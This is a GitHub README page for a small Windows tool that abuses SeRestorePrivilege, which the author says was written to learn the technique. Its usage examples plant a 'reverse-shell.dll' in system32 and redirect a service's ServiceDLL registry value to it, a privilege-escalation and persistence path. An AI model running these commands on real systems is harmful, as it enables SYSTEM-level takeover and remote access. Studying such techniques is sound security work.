Skip to content

viniciusmarangoni/seprivilege-xpltr

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 

Repository files navigation

What is this tool

This tool is intended to abuse SeRestorePrivilege. It basically allows you to write files and registry values. It's far from a "complete" tool. It was developed to help me to understand better the concept of this privilege abuse.

Several pieces of code were copied from the presentation [show me your privileges and I will lead you to SYSTEM].

Usage

Usage:
        .\seprivilege-xpltr.exe filewrite <src-path> <dst-path>
        .\seprivilege-xpltr.exe regwrite <hkey> <subkey> <value-name> <data>

Examples:
        .\seprivilege-xpltr.exe filewrite "C:\Temp\reverse-shell.dll" "C:\Windows\system32\reverse-shell.dll"
        .\seprivilege-xpltr.exe regwrite hklm "SYSTEM\CurrentControlSet\Services\dmwappushservice\Parameters" ServiceDLL  "C:\Windows\system32\reverse-shell.dll"

About

A simple tool to abuse SeRestorePrivilege

Resources

Stars

Watchers

Forks

Packages

No packages published

Languages